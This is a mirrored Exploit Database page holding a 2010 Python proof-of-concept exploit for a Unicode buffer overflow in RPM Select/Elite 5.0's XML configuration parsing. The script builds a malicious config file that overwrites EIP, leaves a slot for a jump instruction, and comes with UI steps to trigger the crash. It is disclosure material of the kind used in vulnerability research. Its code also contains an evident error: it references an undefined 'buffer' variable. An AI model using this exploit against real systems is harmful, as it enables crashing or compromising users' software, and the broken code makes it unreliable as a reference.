RPM Select/Elite 5.0 – ‘.xml Configuration parsing’ Unicode Buffer Overflow (PoC)

• Exploit Database
• 13 阅读

• 作者： mr_me
  日期： 2010-04-14
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12243/

• #!/usr/bin/python
  # ####################################################################
  # RPM Select/Elite v5.0 (.xml config parsing) unicode buffer overflow PoC
  # Found by: mr_me - http://net-ninja.net/
  # Homepage: http://lpd.brooksnet.com/
  # Download: http://www.brooksnet.com/download-rpmselect
  # Tested on: Windows XP SP3
  # Advisory: http://www.corelan.be:8800/advisories.php?id=10-024
  # Greetz: Corelan Security Team
  # http://www.corelan.be:8800/index.php/security/corelan-team-members/
  # ####################################################################
  # Notes: We overwrite EIP @ 32 bytes in, and the function doesnt copy 
  # enough of our string to hit SEH. However modules are compiled with 
  # SAFESEH anyway. Combine that with unicode and the printable ascii 
  # limitations, we are presented with to much of a hurdle.
  # ####################################################################
  # How to trigger the crash:
  # file -> import configuration
  # Click on the queue name, then click on the imported transform
  # Click 'modify transform' and b00m!
  # ####################################################################
  # Script provided 'as is', without any warranty.
  # Use for educational purposes only.
  # Do not use this code to do anything illegal !
  # Corelan does not want anyone to use this script
  # for malicious and/or illegal purposes.
  # Corelan cannot be held responsible for any illegal use.
  #
  # Note : you are not allowed to edit/modify this code.
  # If you do, Corelan cannot be held responsible for any damages.
  
  header1 = """<RPM version="5.0.70.6">
  <Queues>
  <Queue>
  <description>lol</description>
  <seqno>0</seqno>
  <enabled>1</enabled>
  <actions>1</actions>
  <held>0</held>
  <running>0</running>
  <name>mr_mes print queue</name>
  <Transforms>
  <Transform>
  <LineWrap>0</LineWrap>
  <lfPitchAndFamily>48</lfPitchAndFamily>
  <lfOrientation>0</lfOrientation>
  <lfFaceName>
  """
  
  header2 = """</lfFaceName>
  		<lfWidth>0</lfWidth>
  <UseCharsPerInch>0</UseCharsPerInch>
  <lfItalic>0</lfItalic>
  <UseLinesPerPage>0</UseLinesPerPage>
  <lfEscapement>0</lfEscapement>
  <LinesPerInch>6.000000</LinesPerInch>
  <type>24</type>
  <LeftMargin>0.500000</LeftMargin>
  <PortraitMax>90</PortraitMax>
  <CharsPerInch>10.000000</CharsPerInch>
  <CharsPerLine>80</CharsPerLine>
  <TopMargin>0.500000</TopMargin>
  <LinesPerPage>60</LinesPerPage>
  <lfQuality>2</lfQuality>
  <lfStrikeOut>0</lfStrikeOut>
  <lfWeight>400</lfWeight>
  <FontSize>12</FontSize>
  <lfUnderline>0</lfUnderline>
  <BottomMargin>0.500000</BottomMargin>
  <Orientation>portrait</Orientation>
  <InputFormat>1252</InputFormat>
  <CalcLayout>false</CalcLayout>
  <UseLinesPerInch>1</UseLinesPerInch>
  <RightMargin>0.500000</RightMargin>
  <CtrlStrip>1</CtrlStrip>
  <UseCharsPerLine>0</UseCharsPerLine>
  <lfCharSet>1</lfCharSet>
  <lfOutPrecision>0</lfOutPrecision>
  <lfClipPrecision>0</lfClipPrecision>
  <SuppressBlankPage>1</SuppressBlankPage>
  <lfHeight>-16</lfHeight>
  </Transform>
  </Transforms>
  <Jobs />
  </Queue>
  </Queues>
  <Hosts />
  </RPM>
  """
  
  payload = "\x41" * 32
  payload += "\x42\x42" # your "jmp to esp" instruction should go here
  payload += "\x44" * (5000-len(buffer))
  exploit = header1.rstrip() + payload.rstrip() + header2.rstrip()
  try:
  	f=open("cst-rpm-config.xml",'w')
  	f.write(exploit)
  	f.close()
  	print "[+] File created successfully !"
  except:
  	print "[-] Error cannot write xml file to system\n"